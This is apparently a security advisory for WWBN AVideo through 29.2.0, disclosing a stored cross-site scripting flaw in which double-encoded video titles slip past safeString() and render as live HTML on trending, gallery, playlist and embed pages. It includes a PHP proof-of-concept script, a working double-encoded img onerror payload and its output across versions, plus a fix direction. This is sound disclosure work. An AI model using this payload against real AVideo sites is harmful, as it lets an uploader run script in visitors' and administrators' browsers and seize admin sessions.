wwbn/avideo: WWBN AVideo through 29.2.0 Stored XSS via Double-Encoded Video Title
What fixes it
No source in this snapshot names a fixed version.
Description
WWBN AVideo through 29.2.0 contains a stored cross-site scripting vulnerability that allows users with upload permission to inject JavaScript by double-encoding video titles that bypass safeString() sanitization. Two sanitization passes in Video::setTitle() and Video::save() decode the payload into a real tag that view/trending.php, view/videoEmbeded.php, YouPHPFlix2 gallery rows and view/include/playlist.php echo unescaped, executing scripts in visitors' and administrators' browsers.
Details
safeString() (objects/functions.php:375-410 at master) strips tags first and decodes entities last:
$text = strip_tags($text);
$text = str_replace(['&', '<', '>', '‌'], ['', '', '', ''], $text);
$text = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '', $text);
$text = preg_replace('/(&#x*[0-9A-F]+);*/iu', '', $text);
$text = html_entity_decode($text, ENT_COMPAT, 'UTF-8'); // decodes LASTVideo::setTitle() runs it (objects/video.php:4170) and Video::save() runs it again (objects/video.php:669). Each pass strips tags, removes one layer of entities, then decodes, so two passes turn doubly-encoded markup into real tags. setTitle() only replaces double quotes and backslashes afterwards, which this payload does not need.
The upload endpoint takes this path: objects/videoAddNew.json.php calls setTitle() (line 120) and then save(true) (line 266). save() hands the title to ObjectYPT::save(), which binds it as a plain string parameter, so it is stored exactly as safeString() returned it. Video::getAllVideos() reads it back with only UTF8encode() (objects/video.php:2384).
Sinks at master that echo the stored title without escaping:
- view/trending.php:80
<strong><?php echo $value['title']; ?></strong> - view/videoEmbeded.php:363 (the
<h1>for article videos) - plugin/YouPHPFlix2/view/row.php:91 and plugin/YouPHPFlix2/view/BigVideoInfoDetails.php:12
- view/include/playlist.php:167
- plugin/PlayerSkins/seo.php:89 (inside an
<a>body and itstitleattribute)
No Content-Security-Policy is sent, so the inline handler runs.
The root cause is acc85b7c (2022-07-12, #6853), which moved html_entity_decode() into safeString() after strip_tags(); the first release containing it is 12.4, and every release since (through v29.1.0, v29.1.1 and v29.2.0) is affected. 44c1225e escaped the title in one report table only, which leaves the stored value and the sinks above unchanged.
Preconditions: an account that can upload (videoAddNew.json.php); the video must be listed for the public sinks (trending, gallery, embed). The stored HTML survives until something calls Video::save() on the row again.
Proof of concept
The script extracts safeString() verbatim from objects/functions.php at a given ref and reproduces Video::setTitle() followed by Video::save(). Layout: a clone of this repository at repo/, and the script at a/b/poc.php (it reads __DIR__/../../repo).
git clone https://github.com/WWBN/AVideo.git repo mkdir -p a/b # save the script below as a/b/poc.php for ref in acc85b7c~1 acc85b7c v29.2.0 master; do php a/b/poc.php $ref; done
poc.php:
<?php
// Reproduces Video::setTitle() (safeString + quote strip) followed by Video::save() (safeString again)
// using safeString() copied verbatim from objects/functions.php at the ref given as argv[1].
$ref = $argv[1];
$src = shell_exec("git -C " . escapeshellarg(__DIR__ . '/../../repo') . " show " . escapeshellarg("$ref:objects/functions.php"));
preg_match('/function safeString\(.*?\n}\n/s', $src, $m);
eval($m[0]);
function setTitle($t){ $t = safeString($t); return str_replace(['"', "\\"], ["''", ""], $t); }
$x = '&&&amp;lt;lt;img src=x onerror=alert(1)&&&amp;gt;gt;';
$stored = safeString(setTitle($x));
echo "[$ref] POST title : $x\n[$ref] after setTitle: " . setTitle($x) . "\n[$ref] stored (save): $stored\n";
// old reportMyVideos.php DataTables render: '<button ...>' + row.title + '</button>' -> innerHTML
echo "[$ref] old report cell: <button class=\"btn btn-default btn-block\">" . $stored . "</button>\n";
echo "[$ref] new report cell: <button class=\"btn btn-link\">" . htmlspecialchars($stored) . "</button>\n";Output (PHP 8.5; the two report cell lines show the reportMyVideos rendering before and after 44c1225e):
[acc85b7c~1] POST title : &&&amp;lt;lt;img src=x onerror=alert(1)&&&amp;gt;gt; [acc85b7c~1] after setTitle: ampampltltimg srcx onerroralert(1)ampampgtgt [acc85b7c~1] stored (save): ampampltltimg srcx onerroralert(1)ampampgtgt [acc85b7c~1] old report cell: <button class="btn btn-default btn-block">ampampltltimg srcx onerroralert(1)ampampgtgt</button> [acc85b7c~1] new report cell: <button class="btn btn-link">ampampltltimg srcx onerroralert(1)ampampgtgt</button> [acc85b7c] POST title : &&&amp;lt;lt;img src=x onerror=alert(1)&&&amp;gt;gt; [acc85b7c] after setTitle: &<lt;img src=x onerror=alert(1)&>gt; [acc85b7c] stored (save): <img src=x onerror=alert(1)> [v29.2.0] POST title : &&&amp;lt;lt;img src=x onerror=alert(1)&&&amp;gt;gt; [v29.2.0] after setTitle: &<lt;img src=x onerror=alert(1)&>gt; [v29.2.0] stored (save): <img src=x onerror=alert(1)> [v29.2.0] old report cell: <button class="btn btn-default btn-block"><img src=x onerror=alert(1)></button> [v29.2.0] new report cell: <button class="btn btn-link"><img src=x onerror=alert(1)></button> [master@5e1701fc2] POST title : &&&amp;lt;lt;img src=x onerror=alert(1)&&&amp;gt;gt; [master@5e1701fc2] after setTitle: &<lt;img src=x onerror=alert(1)&>gt; [master@5e1701fc2] stored (save): <img src=x onerror=alert(1)> [master@5e1701fc2] old report cell: <button class="btn btn-default btn-block"><img src=x onerror=alert(1)></button> [master@5e1701fc2] new report cell: <button class="btn btn-link"><img src=x onerror=alert(1)></button>
The sanitizer chain was executed. The database round trip and the browser render were traced in source (see Details) rather than executed against a running instance.
Impact
Any user with upload permission can store JavaScript in a video title that runs in the browser of every visitor who loads a page listing the video (trending, gallery rows, playlists, the embed page), including administrators. With an administrator's session the script can perform any admin action available to the browser, for example creating users or changing site configuration.
Suggested fix direction: escape the title at output (htmlspecialchars) in every sink, and make safeString() decode before strip_tags(), or not decode at all, so it is idempotent.
References
- https://github.com/WWBN/AVideo/commit/acc85b7cab29076684cb468d51672b3012c2a944
- https://github.com/WWBN/AVideo/commit/44c1225e68dbfc922f38cdb82b1876ece59dd7ce
- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/objects/functions.php#L375-L410
- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/objects/video.php#L4170
- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/objects/video.php#L669
- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/view/trending.php#L80
CVE
VulnCheck (a CVE Numbering Authority) has reserved CVE-2026-105086 for this issue. Please reference it in the published advisory rather than requesting a new ID, so the issue does not end up with duplicate CVEs.
Text from GitHub Advisory Database
Affected versions 1
- wwbn/avideo, composer>= 12.4, <= 29.2.0GitHub